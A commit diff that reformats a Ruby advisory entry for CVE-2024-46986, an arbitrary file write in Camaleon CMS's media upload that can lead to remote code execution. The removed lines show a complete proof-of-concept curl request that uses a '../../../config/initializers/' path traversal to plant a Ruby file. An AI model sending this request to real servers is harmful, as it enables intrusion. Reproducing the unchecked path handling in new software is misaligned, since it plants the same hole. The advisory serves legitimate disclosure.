Reformatted the description: markdown text

Author: postmodern

gems/camaleon_cms/CVE-2024-46986.yml

@@ -7,16 +7,17 @@ title: Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)
 date: 2024-09-18
 description: |
   An arbitrary file write vulnerability accessible via the upload method
-  of the MediaController allows authenticated users to write arbitrary
+  of the `MediaController` allows authenticated users to write arbitrary
   files to any location on the web server Camaleon CMS is running on
   (depending on the permissions of the underlying filesystem).
   E.g. This can lead to a delayed remote code execution in case an
-  attacker is able to write a Ruby file into the config/initializers/
+  attacker is able to write a Ruby file into the `config/initializers/`
   subfolder of the Ruby on Rails application.
 
-  Once a user upload is started via the
-  [upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87)
-  method, the file_upload and the folder parameter
+  Once a user upload is started via the [upload] method, the
+  `file_upload` and the folder parameter.
+
+  [upload]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87
 
   ```ruby
   def upload(settings = {})
@@ -31,13 +32,14 @@ description: |
   end
   ```
 
-  are passed to the
-  [upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24)
-  method. Inside that method the given settings are
-  [merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42)
-  with some presets. The file format is
-  [checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62)
-  the formats settings we can override with the formats parameters.
+  are passed to the [upload_file] method. Inside that method the
+  given settings are [merged] with some presets. The file format
+  is [checked against] the formats settings we can override with
+  the formats parameters.
+
+  [upload_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24
+  [merged]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42
+  [checked against]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62
 
   ```ruby
   # formats validations
@@ -46,19 +48,20 @@ description: |
    )
   ```
 
-  Our given folder is then
-  [passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74)
-  to the Cama_uploader:
+  Our given folder is then [passed unchecked] to the `Cama_uploader`:
+
+  [passed unchecked]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74
 
   ```ruby
   key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
   res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
   ```
 
-  In the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77)
-  method of CamaleonCmsLocalUploader this key argument containing the
+  In the [add_file] method of `CamaleonCmsLocalUploader` this key argument containing the
   unchecked path is then used to write the file to the file system:
 
+  [add_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77
+
   ```ruby
   def add_file(uploaded_io_or_file_path, key, args = {})
     [..]
@@ -68,36 +71,6 @@ description: |
   end
   ```
 
-  ## Proof of concept
-
-  Precondition: A valid account of a registered user is required. (The
-  values for auth_token and _cms_session need to be replaced with
-  authenticated values in the curl command below)
-
-  curl --path-as-is -i -s -k -X $'POST' \
-   -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \
-      -b $'auth_token=[..]; _cms_session=[..]' \
-      --data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED                   =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \
-      $'https://<camaleon-host>/admin/media/upload?actions=false'
-
-  Note that the upload form field formats was removed so that Camaleon
-  CMS accepts any file. The folder was set to
-   ../../../config/initializers/so that following Ruby script is written
-  into the initializers folder of the Rails web app:
-
-  puts "================================="
-  puts "================================="
-  puts "= COMPROMISED                   ="
-  puts "================================="
-  puts "================================="
-  Once Camaleon CMS is restarted following output will be visible in the log:
-
-  =================================
-  =================================
-  = COMPROMISED                   =
-  =================================
-  =================================
-
   ## Impact
 
   This issue may lead up to Remote Code Execution (RCE) via arbitrary
@@ -107,10 +80,10 @@ description: |
 
   Normalize file paths constructed from untrusted user input before using
   them and check that the resulting path is inside the targeted directory.
-  Additionally, do not allow character sequences such as .. in untrusted
+  Additionally, do not allow character sequences such as `..` in untrusted
   input that is used to build paths.
 
-  ## See also:
+  ## See Also
 
   [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
   [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)